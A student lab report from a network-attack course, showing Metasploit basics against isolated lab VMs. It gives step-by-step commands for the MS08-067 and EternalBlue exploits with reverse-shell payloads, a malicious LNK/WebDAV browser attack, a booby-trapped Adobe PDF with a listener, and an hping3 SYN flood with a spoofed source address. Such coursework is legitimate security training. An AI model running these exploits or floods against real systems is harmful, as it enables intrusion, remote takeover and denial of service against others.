2019-2020-2 网络对抗技术 20175306王佳烁 Exp6 MSF基础应用
一、原理与实践说明
实践原理
1、MSF主要模块:指Metasploit框架中所使用的一段软件代码组件
- 查看六种模块源码目录
/usr/share/metasploit-framework/modules
- 渗透攻击模块(Exploit Modules)
- 攻击漏洞,把shellcode"背"过去
- 针对每一个漏洞,写一段攻击代码
- 辅助模块(Auxiliary Modules)
- 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷(Payload Modules)
- 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块(Payload Modules)
- 编码模块(Payload Modules)
- 后渗透攻击模块(Payload Modules)
2、用户操作界面 - msfconsole
- 开发部署成本低、兼容性高、方便自动化
- 指令需要记
- armitage
- 点选模块 不用记忆
- 使用不灵活
- webgui
- 跨平台 高效 功能强大
3、MSF常用漏洞指令
- 跨平台 高效 功能强大
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
二、实验内容
任务一:主动攻击实践
如ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
- 实现:ms08_067
- 攻击机:Kali 192.168.1.34
- 靶机:Windows xp sp3 192.168.1.35
- payload :
generic/shell_reverse_tcp
- 测试靶机与攻击机之间能否ping通
-
攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.35
-
查看到靶机的版本号
-
查看到靶机存在此漏洞
-
-
msfconsole
打开控制台 -
search ms08-067
查看漏洞位置
-
use exploit/windows/smb/ms08_067_netapi
选择该漏洞 -
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
set RHOST 192.168.1.35
设置靶机IP -
set LHOST 192.168.1.34
设置攻击机IP -
exploit
进行攻击
-
验证连接结果,例如
ipconfig /all
命令
ms17-010
-
实现:ms17-010
-
攻击机:kali 192.168.1.34
-
靶机:Windows xp sp3 192.168.1.35
-
payload:
generic/shell_reverse_tcp
-
攻击机使用
nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.1.35
探测靶机是否存在该漏洞
-
msfconsole
打开控制台 -
search ms17-010
查看漏洞的渗透模块
-
use exploit/windows/smb/ms17_010_eternalblue
进入该模块 -
show payloads
显示有效的攻击载荷
-
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
set RHOST 192.168.1.35
设置靶机IP -
set LHOST 192.168.1.34
设置攻击机IP
-
exploit
进行攻击
-
这里可以看到靶机重启了!
任务二:一个针对浏览器的攻击
-
实现:ms10-018
-
攻击机:kali 192.168.1.34
-
靶机:Windows xp sp3 192.168.1.35
-
payload:
windows/meterpreter/reverse_tcp
-
首先查看浏览器漏洞:
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
-
输入
ls
即可看到很多漏洞代码,选择ms10_046_shortcut_icon_dllloader.rb
-
进入控制台:
msfconsole
,使用:use windows/browser/ms10_046_shortcut_icon_dllloader
-
查看一下这个漏洞的作用:
info
-
此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.1.35 //设置监听地址
exploit //进行攻击
- 在靶机用浏览器打开生成的链接:
http://192.168.1.34:80/
任务三:一个针对客户端的攻击
-
实现:Adobe
-
攻击机:kali 192.168.1.34
-
靶机:Windows 7 sp3 192.168.1.29
-
msfconsole
进入控制台,使用:search adobe
查找Adobe漏洞
-
使用:
use windows/fileformat/adobe_cooltype_sing
使用漏洞 -
payload:
windows/meterpreter/reverse_tcp
-
设置相关参数
set LHOST 192.168.1.34 //攻击者地址
set FILENAME 5306wjs.pdf //设置生成pdf文件的文件名
exploit //攻击
-
将生成的文件复制之后导入靶机中:
cp /root/.msf4/local/20175306wjs.pdf 5306wjs.pdf
-
回到原控制台
back
退出当前模块
use exploit/multi/handler
进入监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.34
设置kali IP
set LPORT 5306
设置攻击端口
exploit
开始监听 -
在靶机中使用双击打开5306wjs.pdf,攻击成功
任务四:成功应用任何一个辅助模块
-
攻击机:kali 192.168.1.34
-
靶机:Windows xp sp3 192.168.1.35
-
使用:
msfconsole
进入控制台 -
show auxiliary
命令显示所有的辅助模块以及他们的用途
-
一眼相中
TCP SYN FLOODER
SYN Flood攻击原理 -
SYN:同步序列编号(Synchronize Sequence Numbers),是TCP/IP建立连接时使用的握手信号。
-
SYN Flood利用TCP协议缺陷,通过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。
-
攻击原理:通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,在进行第三次握手时,服务器等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,才将此条目从未连接队列删除。这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求不能进去以及被丢弃,目标系统运行缓慢,引起网络拥堵。
-
Winxp下按
Ctrl+Alt+Ins
启动任务管理器,查看性能,监控CPU的利用率,开启Wireshark抓包 -
Kali中输入
hping3 -q -n -a 5.3.0.6 -S -s 5306 --keep -p 445 --flood 192.168.1.24
其中5.3.0.6为伪造源IP,5306为伪造源端口,445为目的端口,192.168.1.24为目的IP
-
查看Winxp的任务管理器和wireshark抓包结果
如图,Winxp的性能利用率已经达到100%并居高不下。Wireshark抓到的包显示大量源地址为5.3.0.6,在给靶机win7发送请求连接,进行SYN Flood攻击。综上表明已经攻击成功。
- Kali中按
Ctrl+C
结束攻击 - 查看Winxp的任务管理器,性能利用率恢复正常。
三、基础问题回答
- 用自己的话解释什么是exploit,payload,encode.
- exploit:测试者利用系统、程序或服务的漏洞进行攻击的一个过程。
- payload:攻击者在目标系统上执行的一段攻击代码,该代码具有反弹连接、创建用户、执行其他系统命令的功能。
- encode:一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。
四、实验感想
本次实验总体来说操作比较简单,难点是靶机的选择,一开始选择用本来就有的xp虚拟机,发现不太行。。。没办法又下载了一个靶机虚拟机。安装完成后还是比较顺利的就完成了。通过完成实验就可以发现metasploit攻击漏洞的专一性,对靶机的要求比较高,否则不会轻易成功。